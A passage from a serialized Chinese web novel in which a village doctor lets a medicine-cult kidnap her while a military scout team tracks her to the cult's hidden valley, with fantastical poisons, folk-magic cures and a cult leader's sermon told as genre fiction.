“无论什么瓶子,只要是碎裂的瓷片,就是最危险的信号。” “好,我记住了。” “第二,如果他们把你关在某个地方,想办法让据点升起带药味的烟雾。烧艾草,烧甘草,不管烧什么,只要和平常的炊烟味道不一样就行。” “这个简单。”姜芷点头。 “第三……”陆向东忽然顿住,伸出手,握住了她的手腕。 “保护好你自己。” 他的手掌宽大,带着薄茧,滚烫的温度透过皮肤传过来,让她的心跳微微加快。 接下来的时间,陆向东开始对姜芷进行简单的反审讯和反捆绑训练。 空旷的仓库里,他用麻绳将她的手腕绑在一起,教她如何利用关节和巧劲挣脱。 “手腕放松,对,转动……找到绳结的受力点……” 他的呼吸喷在她的耳畔,温热又带着一丝痒意。 姜芷的脸颊有些发烫,但还是认真地听着。 这个男人,在用他自己的方式,拼尽全力地保护她。 …… 深夜,姜芷悄无声息地回到家中。 陆向东没有跟进去,像个影子一样,隐没在院墙外的黑暗里。 与此同时,村口那棵老槐树下。 李铁和王柱已经轮流蹲守了两天两夜。 “铁哥,你说那孙子到底来不来啊?” 王柱缩着脖子,哈出一口白气。 “再等下去,咱俩都得冻成冰棍了。” 李铁眼睛一眨不眨地盯着那棵老槐树。 “肯定会来。” 话音刚落。 远处,一道鬼鬼祟祟的黑影,正借着树影的掩护,小心翼翼地朝着老槐树摸了过来! 那人穿着一身打补丁的旧棉袄,缩头缩脑,贼眉鼠眼。 他走到老槐树下,四下张望了一圈,然后快速刨开土,拿出那个火柴盒,又迅速地消失在夜色中。 “跟上!” 李铁低喝一声,悄无声息地追了上去。 那人警惕性极高,进了县城后,在小巷子里七拐八绕,足足兜了半个多小时的圈子。 最后才闪身进了之前被锁定的三进大院。 李铁和王柱对视一眼,没有贸然靠近。 在街对面的暗影里观察了一阵后,这才迅速撤离。 …… 大院深处,密室里烛火摇曳。 一个黑衣人坐在太师椅上,手里把玩着两颗铁胆。 取信物的人恭敬地将那张从火柴盒里取出的药方,双手奉上。 山鬼接过药方,眯着眼,当他的目光落在“合欢皮”那三个字下面的三道划痕上时,嘴角咧开冷笑。 “呵呵……呵呵呵……” “好一个没有威胁的肥鱼!看来,真是老天都在帮我们!” 他抬起眼,看向站在一旁,满脸麻子的手下。 “麻三。” “在,阁主!” “准备好‘迎客’的家伙。” 他将药方扔在桌上,缓缓站起身,踱到窗边,看着窗外漆黑的夜。 “五天后,我要在这里,亲眼见见那位能把乱葬岗变成聚宝盆的小神医!” 第85章 要么救活她,要么杀了她,你选! 接下来的四天,红星大队风平浪静。 姜芷每天带着村民上鬼见愁开荒。 曾经的乱葬岗,在她的规划下,一天一个样。 梯田的雏形已经垒了出来。 黑黝黝的河泥混着草木灰,散发着肥沃的气息。 而林木生的日子就没那么好过了。 他身上的确良衬衫早就被汗水和泥土浸得看不出本色。 那双握笔的手,如今全是血泡和老茧。 每天天不亮就得跟着村民们上山,扛石头,挑河泥,干的都是最重的体力活。 他那点“文化人”的伪装,早被繁重的农活磨得一干二净。 每天累得跟死狗一样,倒头就睡,连做梦都在盼着组织来人。 赶紧把他从这人间地狱里解救出去。 他不知道的是,真正的组织早已抵达。 一支代号“幽灵”的特种侦察小队,已经化整为零。 他们有的伪装成背着帆布包,拿着小锤子敲敲打打的地质勘探队员。 有的成了供销社下来考察土特产的采购员。 还有的干脆扮作走街串户的货郎。 一张天罗地网,在红星大队周围悄然张开。 所有人都像耐心的猎人,等待着猎物撞上来。 第五天,午后。 社员们啃着干粮歇气时,鬼见愁的山林深处,忽然响起一阵从未听过的鸟鸣。 “啾—啾—啾——,啾啾!” 三长两短,尾音尖锐上翘。 “啥鸟叫得恁难听?” 有村民嘟囔了一句。 旁边的人满不在乎地摆摆手。 “鬼见愁嘛,啥稀奇古怪的鸟没有?别管它。” 村民们浑不在意。 可这声音,立即引起两个人的注意。 正往嘴里塞窝头的林木生,动作猛地一僵,眼底迸射出惊喜。 来了! 终于来了! 而在不远处,正用手帕擦手的姜芷,微微顿了一下,随即继续着手里的动作。 鱼儿,要咬钩了。 夕阳把天边烧成一片橘红色,村民们扛着锄头。 挑着空扁担,说说笑笑地陆续下山。 一天的劳作结束,每个人脸上都带着疲惫。 林木生混在人群里,只觉得腰都快断了。 他眼角的余光瞥见走在队伍最后的姜芷,心中一动,机会来了! 他故意放慢脚步,等所有人都走远了些,才快步追上姜芷。 “姜……姜同志!” 他的声音带着一丝刻意营造的虚弱和讨好。 姜芷“毫无防备”地停下脚步,转过身,眼神疑惑。 “林同志,有事?” 林木生指着路边一株毫不起眼的野草,求知若渴。 “姜同志,你医术高明,对这些花花草草最有研究。你能不能帮我看看,这是个什么植物?我查了好几本图谱,都没找到。” 那副认真的模样,演得是真像。 姜芷的目光顺着他手指的方向,慢慢地走了过去。 “哦?我看看。” 就在姜芷低下头,弯腰仔细查看那株野草的瞬间。 林木生眼中闪过一丝狰狞! 机会来了! 他从袖中滑出一块折叠得方方正正的手帕,猛地向前一扑,死死捂住了姜芷的口鼻! 一股刺鼻的化学药剂味道瞬间散开。 “唔……” 姜芷象征性挣扎了两下,身体晃了晃,随即软软倒在了林木生怀里。 实际上,早在下山之前,她就吞下了一颗早就备好的“闭气丸”。 这会儿,她只是暂时封闭了嗅觉和呼吸,进入了假昏迷状态。 这足以迷晕一头牛的药剂,对她而言,与山间的清风无异。 林木生并不知道这些,见姜芷这么轻易就“昏迷”了,心中一阵狂喜。 他探了探姜芷的鼻息,确认她彻底失去意识,才扭头对着密林深处,打了个短促而尖锐的唿哨。 “嗖嗖嗖!” 林子里立刻冲出四个穿着黑色棉袄的彪形大汉。 为首那人,正是之前在姜芷家宴席上出现过的“货郎”,麻三。 麻三看了一眼软在林木生怀里,不省人事的姜芷,轻蔑地笑了笑。 “呵,当初还以为是根多硬的骨头,这么不经啃?” 他拍了拍林木生的脸。 “干得不错,把这儿的痕迹处理干净,然后回你的狗窝待着,等通知。” 说完,他一挥手。 “撤!” 两个大汉粗暴地将姜芷塞进麻袋,扛在肩上,几个起落便奔入了深山。 远处,负责监视的李铁和王柱把这一切看得清清楚楚,心都提到了嗓子眼。 “铁哥!他们把姜医生带走了!” 王柱急得抓耳挠腮,手已经摸向了腰间的枪。 “别动!” 李铁一把按住他,盯着麻袋消失的方向,声音压得极低。 “牢记命令!我们的任务是追踪,不是交火!” “可是……” “没有可是!相信团长,相信姜医生!” 李铁目光锐利,“跟上去!别让他们甩掉了!” 两人交换了一个眼神,迅速跟了上去。 与此同时。 山下的临时指挥部里,陆向东正对着一张巨大的军用地图,神情冷峻。 他耳朵里塞着的微型耳机,突然传来一阵轻微的电流声。 “鹰眼呼叫狼穴,鹰眼呼叫狼穴!” 是李铁的声音。 “鱼已上钩,装入网兜!重复,鱼已上钩,装入网兜!” 陆向东握着铅笔的手猛然收紧。 他深吸一口气,声音低沉。 “各单位注意!” “鱼已上钩!” “启动‘捕蛇’计划,一号方案!” “开始追踪!” ... 初冬的山林里,枯枝败叶被踩得咔嚓作响。 四个黑影扛着一个麻袋,在崎岖的山路上如履平地,速度快得惊人。 他们身后,李铁和王柱像两只灵猫,悄无声息地吊在百米开外。 王柱压低声音,牙齿都在打颤。 “铁哥,这帮孙子是属兔子的吗?跑这么快!” “闭嘴,跟紧了!” 李铁的眼睛死死盯着前方,不敢有丝毫松懈。 姜医生还在他们手里。 这帮人显然对地形极为熟悉,专挑难走的小路,七拐八绕。 一个小时后,他们终于摸进了县城的后巷。 黑影们闪身进了一座三进的大院,厚重的木门“吱呀”一声关上,又恢复了寂静。 李铁打了个手势,两人迅速隐入街对面的阴影里。 “位置确定,县纺织厂后街,甲字巷十七号。重复,甲字巷十七号。” 李铁对着衣领里藏着的微型通讯器,用最低的声音汇报。 不到十分钟,几道黑影从巷子的各个方向渗透过来,为首的正是陆向东。 夜色下,他的脸无比寒冷。 “团长,都到齐了!要不要强攻?”王柱凑上来,眼底压着一簇火。 敢动他们团长的心尖尖,这帮人是活腻歪了! 只要陆向东一声令下,他能把这院子里的耗子都给揪出来! “不。”陆向东下令。 “这里戒备森严,墙头上有暗哨。青囊阁在县里选这么个地方,只是个据点,不是老窝。” “姜芷还没给信号,我们不能打草惊蛇。” “所有人,按二号方案,在周围潜伏下来,伪装成普通住户。把这里给我盯死了,一只苍蝇飞进去都得给我记下公母!” “是!” 众人领命,悄无声息地消失在夜色里。 …… 与此同时,大院深处。 姜芷感觉自己被扔在石板上,骨头都快散架了。 麻袋被粗暴地解开。 山鬼穿着黑色长衫,手里盘着两颗铁胆,正坐在太师椅上,饶有兴致地看着她。 “把人弄醒。”山鬼淡淡地开口。 麻三狞笑着上前,伸手就要去拍姜芷的脸。 就在他的手即将碰到的瞬间! 原本“昏迷”的姜芷,眼睛猛地睁开! 她快如闪电地从发髻上抽出那根木簪,反手一拧,毒针弹出,刺向麻三伸过来的手腕! “啊!” 麻三发出一声痛呼,触电般缩回手。 只见他的手腕上,一个细小的针眼迅速变得红肿。 更恐怖的是,以针眼为中心,皮肤下的血管竟一根根凸显出来,变成了诡异的青黑色,像无数条扭曲的虫子,正飞快地向他手臂上蔓延! “你!臭娘们!你找死!” 麻三恼怒,另一只手握成拳头,就要砸向姜芷的脑袋。 第86章 青令悬壶,囊括天下 山鬼以为,自己这道索命的二选题,足以让任何女人精神崩溃。 要么沦为杀人凶手,要么在绝望中等待死亡。 他甚至已经准备好了欣赏猎物崩溃的姿态。 然而,姜芷的反应,让他所有预设的后手,都硬生生卡死在了喉咙里。 她甚至没多看笼中女人一眼,目光紧盯着山鬼。 “杀人?” “那是屠夫的活儿。” “救人?” 她停顿了一下,眼神轻飘飘地扫过这阴森的密室。 “我倒是觉得,在救人之前,应该先给你们这群躲在阴沟里的老鼠,好好瞧瞧病。” 一句话。 整个密室的呼吸声,都停了。 山鬼盘着铁胆的手指,骤然僵住。 旁边捂着手腕,疼得满头虚汗的麻三,连呻吟都忘了。 太嚣张了! 这女人疯了吗? 她知不知道自己现在是什么处境? 阶下囚! 砧板上的肉! “呵……呵呵……” 山鬼怒极反笑。 “好!好一个伶牙俐齿的小丫头!我倒要看看,你的本事,是不是跟你的嘴一样硬!” 姜芷完全无视了他的怒火。 她迈开步子,走向那个散发着恶臭的铁笼。 随着她的靠近,那股腐烂混合着草药的怪味越发浓烈。 姜芷的眉头蹙了一下。 不是因为臭。 而是因为这股味道里,十分拙劣。 她在笼前站定,淡淡地扫了几眼,下定判断。 “体表青紫,脓疮遍布,疮口黄绿,流脓不止。” “目不能视,四肢抽搐,喉间有痰鸣。” 她每说一句,山鬼捏着铁胆的手指就收紧一分。 因为姜芷说的,与笼中女人的症状,分毫不差! “你们管这个,叫‘小东西’?” 姜芷转过头,继续说。 “这是‘腐肌降’。以七步蛇蜕,配马钱子、蜈蚣粉,埋于阴湿之地七七四十九天,再以死囚指甲为引炼制。” “毒性倒是猛烈。” 她摇了摇头,满眼鄙夷。 “可惜,手法太糙了。” “只知用猛药攻其皮表,却不知固其内里。瞧瞧,这皮肉都烂成什么样了?血肉精华都快流光了,五脏六腑却还好好的。” “暴殄天物!” “真是暴殄天物啊!” “一个真正的用毒高手,会让毒素直攻心脉,从内到外,将目标化作一滩脓水。而其外表,却依旧光洁如新,到死都像个精致的睡美人。” “你们这个……” 她轻蔑地笑了。 “太低级了。” 这番话,在山鬼和麻三的脑子里轰然炸开。 暴殄天物? 低级? 这个女人,非但没有被这恐怖的景象吓到,反而还在点评他们的“杰作”?! 这不是胆子大,这是彻头彻尾的蔑视! 山鬼的脸色,第一次真正凝重了起来。 他以为自己钓到的是一条任人宰割的肥美鲤鱼。 现在才发现,这他娘的是一条潜伏在深渊里的过江龙! “你……你到底是什么人?”山鬼惊疑不定。 “啊——!!” 突然,一声撕心裂肺的惨叫,打断了山鬼的问话。 是麻三! 他再也撑不住了,抱着那条已经肿胀成猪蹄,青黑色蔓延至手肘的胳膊,在地上痛苦地翻滚。 那钻心刺骨的麻痒,让他恨不得当场把整条胳膊砍下来! “阁下!救我!我的手……手要废了!快让她把解药给我!”麻三涕泪横流地哀嚎。 山鬼的太阳穴突突直跳。 他死死盯着姜芷。 “给他解药!” 姜芷仿佛没听见。 她依旧饶有兴致地研究着笼中的女人,自言自语。 “不过,这‘腐肌降’里倒是混了点‘鬼脸菇’的孢子粉,能放大痛苦,制造幻觉……有点想法,但不多。” “我让你把解药拿出来!” 山鬼猛地一拍桌子,铁胆砸在木桌上,发出“咚”的一声闷响。 姜芷终于慢悠悠地转过头,瞥了一眼在地上抽搐的麻三。 “急什么?” “死不了。” “就是这条胳膊,会从里到外,一点点烂掉。先是肉,再是筋,最后是骨头。大概三天吧,就会化成一滩乌黑的臭水,连骨头渣都剩不下。” 她顿了顿,补充了一句。 “在此期间,他会一直保持清醒,亲身感受自己是如何一点点腐烂的。” 麻三听完,吓得魂飞魄散,惨叫声都变了调。 “魔鬼!你是魔鬼!” 山鬼的眼角剧烈抽动。 这个女人,根本不能用常理来揣度。 他强迫自己压下翻涌的杀意问:“你到底,想怎么样?” “我想怎么样?” “不是你说的吗?要么杀了她,要么救活她。” 姜芷抬手,遥遥指向笼中的女人。 “我选第二个。” “现在,我要开始治病了。” 她的声音瞬间冷了下来。 “闲杂人等,最好保持安静。” 说完,她不再理会任何人,直接开始下令。 “一套银针,用烈酒煮沸。一盆滚开的盐水。一碗糯米。” 她目光扫过墙角阴湿处。 “再取一截拇指粗的新鲜柳木,烧成炭,研成粉。最后,刮一碗你们这院里的青苔,兑水。” 柳木炭?青苔水? 山鬼和一众手下全都愣住了。 这些东西……也能入药? “愣着干什么?”姜芷不耐烦地催促,“想救她,就按我说的做。不想救,我现在就走。” “当然,你们谁敢拦我,也可以试试。” 她说着,又拿出那根看似平平无奇的木簪,握在指间把玩。 山鬼盯着那根要了麻三半条命的木簪,又看了看地上快要痛晕过去的麻三,最终阴沉着下令。 “去!按她说的办!” 很快,所有东西都准备齐全。 姜芷走到桌前,拿起滚烫的银针,看都没看众人一眼,径直走向铁笼。 她打开笼门,无视扑面而来的恶臭,蹲下身。 “这毒由外而内,病入膏肓。当先泄表毒,后清内里。” 她口中说着,捻起一根三寸银针,手中动作行云流水,刺入女人后颈的“大椎穴”。 紧接着,是背部的“至阳”、“命门”…… 转眼间,十几根银针已布满女人的后背。 原本皮肤青紫的女人,随着银针的刺入,背部皮肤下竟浮现出无数蛛网般的黑色细线,朝着银针扎入的穴位疯狂汇集而去! “这是……在引毒?”一个匪徒失声惊呼。 姜芷没有回答。 她取过那碗糯米,用手捻了捻,均匀地撒在女人的背上。 嗤—— 那些洁白的糯米粒,一接触到女人的皮肤,瞬间变成焦黑色,冒出丝丝缕缕带着腥臭的黑气! 整个密室,死寂一片。 “现在,是时候清里毒了。” 姜芷站起身,走到桌边,将那碗漆黑的柳木炭粉末,尽数倒入那碗散发着霉味的青苔水中,用一根银针轻轻搅拌。 一碗漆黑如墨的“药汁”便成了。 山鬼等人屏住呼吸,眼睛一眨不眨地看着这匪夷所思的一幕。 这玩意儿……真的能救人? 姜芷端起那碗墨汁,捏开笼中女人的嘴,没有丝毫犹豫,尽数灌了进去! “呕——!” 药汁刚入喉,笼中的女人猛地弓起身体,全身剧烈地痉挛。 紧接着,一股混杂着黑紫脓血,散发剧烈腥臭的液体,从她嘴里狂喷而出。 那股恶臭瞬间冲垮了整个密室的空气,熏得麻三这些自诩心狠手辣之辈都面色发白,连连后退,胃里翻江倒海。 只有山鬼,一动不动。 他的瞳孔缩成针尖,死死盯着笼中的女人,看着她吐出的秽物里,夹杂着细小蠕动的虫子和已经腐败的烂肉碎块。 直到那女人吐得再也吐不出任何东西,才软绵绵地瘫倒在地,只剩下微弱的起伏。 姜芷才站起身,从容地用一块还算干净的布擦着手。 “柳木炭吸附内脏毒素,青苔水清热败火,糯米引发表皮阴毒,银针封穴泄其表,再简单不过的道理。” 她轻描淡写地解释。 让下毒的山鬼,眉心狠狠一跳。 道理是简单。 可世间万物,下毒永远比解毒容易百倍。 前者是破坏,后者是重塑。 能在这么短的时间内,仅凭眼看鼻闻,就洞穿“腐肌降”的复合毒性,还就地取材,信手拈来配出解药…… 这份对药理、毒理的认知,已经不是天赋,而是鬼才! 第87章 这追妻方式,是不是太野了点 话音落下,密室里突然死寂。 山鬼脸上的狂热缓缓收敛。 “拒绝?” 他低低笑了起来。 “小丫头,你既然来到了这里,看到了不该看的东西,就没有拒绝的权力。” 他遥遥指向笼子里那个半死不活的女人。 “要么,成为我们的人。” “要么,成为我们的‘药’。” “你这么好的身子,这么精湛的医术,炼出来的‘药’,想必一定是大补之物。” 赤裸裸的威胁,不带一丝掩饰。 周围几个手下往前逼近一步,不怀好意的目光在她身上逡巡。 姜芷的脸色沉了下来。 这群疯子的耐心已经被消磨殆尽,再挑衅下去,没有任何好处。 她沉默片刻,忽然笑了。 “跟一群搞伪科学的疯子待在一起,听起来……倒也比种地有意思。” 她无所谓地耸了耸肩。 “行啊,我加入。” “哈哈哈哈!” 山鬼得意的大笑。 “好!跟聪明人说话,就是省力!” 他当然不信姜芷会这么轻易真心归顺,这不过是识时务的缓兵之计罢了。 但,这不重要。 一头桀骜不驯的鹰,远比一只乖巧听话的麻雀更有价值。 只要进了他的笼子,他有的是时间和手段,将这只利爪锋锐的鹰,一点点调教成只为他啼鸣的笼中鸟。 “既然是自己人了,那就把你的诚意拿出来。” 山鬼朝地上还在打滚的麻三扬了扬下巴。 “给他解毒。” 姜芷瞥了一眼痛得死去活来的麻三。 “小事。” 她走到桌边,对旁边一个手下吩咐:“去,给我拿一碗最烈的烧刀子,再点根蜡烛。” 手下不明所以,但还是立刻照办。 姜芷取出一根新的银针,在烛火上烧得通红,然后走到麻三身边。 “忍着点。” 话音未落,她手腕一抖,烧红的银针刺入麻三那条已经肿成紫黑色猪蹄的胳膊上的一个穴位! “嗤——” 一股黑烟冒起,伴随着皮肉烧焦的味道。 “啊——!!!” 麻三发出一声惨叫,整个人从地上弹了起来。 姜芷面不改色,拔出银针,对着那针孔猛地一挤! “噗!” 一道腥臭的黑色毒血,喷在地上,瞬间腐蚀出一个滋滋作响的小坑。 随着毒血的排出,麻三手臂上的紫黑色,肉眼可见的褪去,钻心刺骨的麻痒也迅速减退。 麻三虚脱地瘫在地上,大口大口地喘着粗气。 虽然疼得龇牙咧嘴,但看向姜芷的眼神,已经只剩下恐惧。 这一手,比下毒还吓人! 山鬼眼中的欣赏更浓了几分。 不靠解药,只凭一手针法和普普通通的烈酒,就能解掉如此奇毒。 这个女人,简直是个移动的宝库! “很好!非常好!” 山鬼抚掌大笑。 “从今天起,你就是‘青囊阁’的人了。” “明天,阁里会为所有新晋成员举办一场盛大的入阁仪式。届时,你会见到其他和你一样优秀的‘同道’。” “我保证,那场面,绝对会让你大开眼界,让你知道什么才是真正的医道巅峰!”” 他对手下使了个眼色。 “带姜小姐下去休息,找一间最好的客房,好生招待,不许怠慢!” “是!” 一名手下立刻上前,对姜芷做了个毕恭毕敬的“请”的手势。 姜芷跟着他走出阴森的密室,穿过几道幽深的回廊,来到一间看起来还算干净整洁的客房。 房间不大,但床铺被褥一应俱全,甚至还有一张书桌。 “姜医生,您好好休息。有什么需要,可以随时叫我们。” 手下恭敬说完,便退了出去。 “咔哒”一声。 门从外面被锁上了。 姜芷走到门边,试着推了推,纹丝不动。 她又踱到窗边,窗户外面,焊着拇指粗的铁栏杆。 她成了这群疯子的“贵客”,也成了笼中的金丝雀。 不过,姜芷毫不在意。 她走到床边坐下,冷静地开始复盘。 青囊阁,入阁仪式,其他的“同道”…… 看来,这个组织的规模和严密程度,远超她的想象。 明天,注定是一场硬仗。 她缓缓抬起手,轻轻抚摸着衣领上的纽扣。 陆向东,你布下的天罗地网,准备好收网了吗? 密室里。 山鬼看着姜芷的背影消失在门后,目光久久没有收回。 这个女人,是上天赐给青囊阁的宝藏! 一手神鬼莫测的医术,泰山崩于前而色不变的胆气。 还有那股把人命玩弄股掌之间的狠辣…… 完美。 简直完美! “阁下,这女人……留着绝对是祸害!” 地上,缓过劲来的麻三,捂着自己那条差点报废的胳膊,声音都在发颤。 “祸害?”山鬼转身,一脚踹在麻三的胸口。 “那叫价值!你懂个屁!” 他俯视着脚下蜷缩的麻三寒声说。 “两个钟头前,你还信誓旦旦地说钓到了一条肥鱼。现在呢?差点被鱼骨头噎死!这就是你办的事?” 麻三被踹得差点闭过气去,连声求饶:“阁下,我错了!我错了!我没想到她这么邪乎……” “滚!” 山鬼懒得再看他一眼。 “按老规矩,给‘药王’传信。” “就说,‘鬼见愁’这边,寻到一株上品的‘何首乌’,根正苗红,药效极佳,明日入阁,请他老人家亲自验看。” “是,是!”麻三如蒙大赦,连滚爬地跑出了密室。 院外百米,一处黑暗的墙角。 李铁通过望远镜看到麻三吊着胳膊冲出来,那副惨白的脸色让他心脏猛地一沉。 “团长!情况不对!”他压低嗓音,语调急切,“那家伙出来了!进去时好好的,现在胳膊废了!姜医生...她不会出事了吧?!” 旁边的王柱也攥紧了拳头:“团长,冲吧!再晚就来不及了!” 陆向东没有说话。 他抬起手,指了指手腕上那个形似手表的信号接收器。 屏幕上,一个微弱的绿点,正安静地待在院落的位置,稳定,且毫无移动。 “慌什么。” “这恰恰说明,她不仅没事,而且,已经在里面站稳了。” 李铁和王柱同时一愣。 这是什么逻辑? 陆向东没解释。 他心里清楚得很,这绝对是姜芷的手笔。 那个女人,比谁都懂得如何用最小的代价,换取最大的震慑。 谁把她当猎物,谁就是下一个麻三。 而那条胳膊,就是她递出来的,最简单直接的“战报”。 “王柱,跟上。”陆向东下令,“别惊动他。看他去哪,见了谁,做了什么。” “是!” 王柱的身影瞬间融入夜色。 半小时后,王柱返回。 “报告团长!目标未与任何人接触。他去了城外小树林,在一棵歪脖子树下,用一块长条形石头换走了一块旧石头。随后返回西边一处民房,现已熄灯。” 陆向东点头。 用石头的位置和数量传递信息,果然是这群阴沟老鼠的风格。 “他睡了,说明今晚不会再有行动。” 他沉声下令:“全员分组轮休,养足精神。明天,才是硬仗。” 一夜无话。 第二天清晨,天刚蒙蒙亮。 一辆半旧的黑色轿车,开进了院子。 姜芷被带了出来。 她换了一身干净的衣服,神色平静,仿佛只是去赶一个早集。 山鬼亲自为她拉开车门,满脸虚伪的笑:“姜医生,请吧。” 姜芷坐进车里,车辆随即发动,迅速驶出院子。 “团长!他们开车走了!” 李铁放下望远镜,焦急万分。 “吉普车目标太大,跟上去立刻就会暴露!” 县城就这么大,一辆军用吉普跟着一辆轿车,无异于自报家门。 陆向东的视线越过街道,落在不远处的县汽车站。 几辆准备发车的客运班车停在那里,工人正往车顶上绑行李,鸡笼鸭笼堆得老高。 “谁说我们要用吉普车了?” 他抬起下巴,朝汽车站的方向示意了一下。 “走!我们坐那个!” 李铁和王柱顺着他手指的方向看过去,集体石化。 坐……坐那个? 第88章 烙印为奴,药王点名 黑色轿车绝尘而去,一头扎进了西边的群山。 那辆伪装过的破班车,在后面吭哧吭哧地吐着黑烟紧追不舍。 李铁被车顶鸡笼里传来的味道熏得头昏眼花,感觉自己整个人都快被腌入味了。 他凑到陆向东身边,压着嗓子问。 “团长,这都快出省界了,这帮孙子到底要去哪儿?” 陆向东的目光钉死在前方那辆车的残影上,手腕上的信号器绿点稳定,他声线沉稳。 “他们去哪,我们就跟到哪。” 水泥路很快到了尽头,颠簸的土路让这辆老掉牙的班车发出呻吟。 在一个陡坡前,车身猛地一震,彻底趴窝。 “团长,熄火了!”王柱急道。 陆向东甚至没有一丝迟疑,目光扫过崎岖的山势,命令果决。 “弃车!” “全员化整为零,山地渗透追踪!” 他第一个跃下车,动作干净利落。 特种小队的成员们瞬间卸下伪装,一身精悍的行头显露,没入初冬枯黄的山林。 陆向东顶尖侦察兵的实力在这一刻展露无遗。 他蹲下身,捻起一点泥土,看着地上清晰的车辙印。 “车速四十,没有减速,说明他们对这条路烂熟于心。” 他又指向路边一丛被压倒的野草。 “草叶上的露水刚破,他们过去不超过十分钟。” 他带领着小队,在林间悄无声息地穿行,始终与目标保持着一个绝对安全的距离。 与此同时,轿车内。 姜芷阖着眼,看似在养神,耳朵却捕捉着车外的一切。 车轮碾过碎石,车身持续向左倾斜。 一副精准的山路地图,在她脑中迅速成型。 他们在盘山,并且在不断深入。 “怎么,怕了?” 旁边的山鬼见她不语,脸上是掩不住的得意。 “小丫头,别以为你那点小聪明能上台面。等会儿就让你见识见识,什么叫真正的‘青囊阁’!” 他开始吹嘘。 “我们追求的是医道极致,是长生奥秘!外面的庸医蠢货,一辈子也只能在山脚打转。而你,有幸能一窥山顶的风景!” 姜芷终于睁开了眼,眼神清冷。 “是吗?” “我看你的风景不怎么样。常年待在阴暗潮湿的地方,风湿已经入骨,每到阴雨天,左膝盖是不是疼得想拿刀砍掉?” 山鬼脸上的笑意瞬间凝固。 “你肺也不好,说话中气不足,尾音带痰。我猜,你每天凌晨三四点,都会准时咳醒,咳出来的痰又粘又黄,还带着血丝,对吧?” 山鬼的脸色由白转青,眼里的得意变成了骇然。 这些都是他的心病,阁里的药师都束手无策,她光凭看和听,就说得一个字不差! “你……” “我劝你少抽点那种混了料的旱烟,也别再睡没烧干的柴火炕了。” “不然,你这山顶的风景,怕是看不了几年了。” 说完,她又闭上了眼睛,不再多看他一眼。 车内的气氛,变得无比压抑。 山鬼感觉自己的优越感,被对方轻描淡写几句话,戳得千疮百孔。 车辆最终在一处被枯黄藤蔓覆盖的山壁前停下。 山鬼调整好情绪,恢复了那副高深莫测的样子,率先下车。 他走到山壁前,伸手拨开厚厚的藤蔓和杂草,露出一条仅容一人通过的,被刻意伪装过的幽深小径。 姜芷被两个手下粗暴地推下车。 就在她身体趔趄,看似要摔倒的瞬间,手指一弹。 一枚从衣角撕下的,只有指甲盖大小,沾染了荧光追踪药粉的碎布片,悄然落入了路边的草丛里。 “走!” 她被推搡着,走进了那阴冷的小道。 十几分钟后。 陆向东的小队赶到山壁前。 李铁看着空无一人的峭壁,急了。 “团长,跟丢了!” 陆向东没说话,他从背包里取出一副造型奇特的眼镜戴上。 镜片下,整个世界都变成了灰白色。 只有草丛里,那片不起眼的碎布,正散发着幽幽的绿色微光。 “没丢。” 陆向东指着那片微光。 “她给我们留了记号。” 看到这一幕,所有队员的精神都为之振奋! 穿过漫长阴暗的隧道,眼前豁然开朗。 饶是姜芷,也被眼前的景象惊住了。 一个巨大的天然山谷,谷底温暖湿润,生长着许多外界罕见的药草。 而在山谷的正中央,赫然矗立着一个用黑色巨石搭建的诡异祭坛。 祭坛周围,黑压压地站了至少两三百号人。 最靠近祭坛的,是上百名身穿统一黑色劲装的男人,神情肃杀,腰间鼓胀,显然都带着武器。 在他们外围,是上百名穿着各异,但脸上都带着狂热崇拜神情的男女,他们应该就是即将参加“入阁仪式”的新晋成员。 而在山谷最边缘的崖壁下,则蜷缩着几十个面黄肌瘦、眼神麻木的人。 他们的手脚都被粗麻绳捆着。 姜芷的目光落在那些人身上,心猛地一沉。 药人。 她甚至在人群中,看到了几个不过七八岁的孩子! 这群疯子,连孩子都不放过! 姜芷满脸愠怒。 “把她带到那边去。” 山鬼对手下扬了扬下巴,指了指新晋成员聚集的区域。 姜芷被两个手下“请”到了人群中。 周围立刻投来好奇和审视的目光。 她面无表情,找了个相对空旷的位置站定,观察整个山谷的布局。 山鬼快步走到了祭坛后方一个巨大的山洞口,深深鞠躬,然后恭敬地垂手侍立。 片刻后,一个穿着宽大道袍,须发皆白,脸上戴着一张狰狞青铜面具的老者,从山洞里缓缓走了出来。 他拄着一根由蛇骨串成的拐杖,每走一步,拐杖上的小骷髅头就发出“咔哒”的轻响。 他一出现,整个山谷瞬间死寂。 所有青囊阁的人,无论是核心护卫,还是外围的新成员。 全都齐刷刷地跪了下去,额头紧紧贴着地面,满脸狂热。 “恭迎药王!” “恭迎药王!” 山呼海啸般的声音,在山谷里回荡。 只有姜芷,还直挺挺地站着。 在黑压压跪倒的人群中,她那纤细的身影,格外醒目。 她的目光,穿过人群,落在了那位所谓的“药王”身上。 与此同时,悬崖上方。 陆向东等人通过望远镜看清谷内惊人的景象时,这些身经百战的特种兵,也齐齐倒吸了一口凉气。 王柱惊声低呼:“我的乖乖……这是捅了耗子窝了!” 陆向东的心,也沉了下去。 敌人的数量,远超他们的预估。 谷内开阔,一旦交火,他们这点人手,根本无法形成有效压制。 强攻,无异于以卵击石。 他立刻做了一个手势。 全员潜伏! B计划,启动! 他的目光,死死锁定在山谷中那唯一站立的身影上,心被狠狠揪紧。 山谷内,死寂无声。 风似乎都停了。 所有人的目光,都聚焦在那个从山洞里走出来的老者身上。 “药王”踱步至祭坛中央,手中蛇骨拐杖对着黑石地面轻轻一顿。 “都起来吧。” “谢药王!” 人群哗啦啦起身,依旧垂着头,狂热中夹杂着敬畏。 只有姜芷,身姿依旧笔挺,冷冷地看着他。 药王似乎毫不在意她的冒犯,开口了。 “我知道,你们中的很多人,在来到这里之前,都曾被世俗的病痛所折磨,被凡夫俗子的愚昧所嘲笑。” “你们渴望健康,渴望力量,渴望得到世人的认可!” “可是,那些庸医,他们能给你们什么?” “他们只会用那些没用的草根树皮,冰冷的刀子来敷衍你们!他们根本不懂,什么是真正的医道!” 他的声音陡然拔高,带着蛊惑人心的魔力。 台下,许多新晋成员的呼吸开始急促,眼中燃起愤恨的火焰。 “而我们,青囊阁,将赐予你们神迹!” 药王话锋一转,高高举起手中的蛇骨拐杖。 “我们信奉的,是人体这座无上宝库!疾病,不是诅咒,而是打开宝库的钥匙!” “只要方法得当,癌,就是灵根!痛,就是淬体!” “我们将以病痛为柴,以血肉为鼎,炼就金刚不坏之身!” 一番颠倒黑白的邪说,让台下彻底沸腾。 “药王圣明!” “打倒庸医!” “青囊阁万岁!药王万岁!” 狂热的呼喊声,此起彼伏。 姜芷冷眼旁观,心里一片冰冷。 好一个颠倒黑白,蛊惑人心。 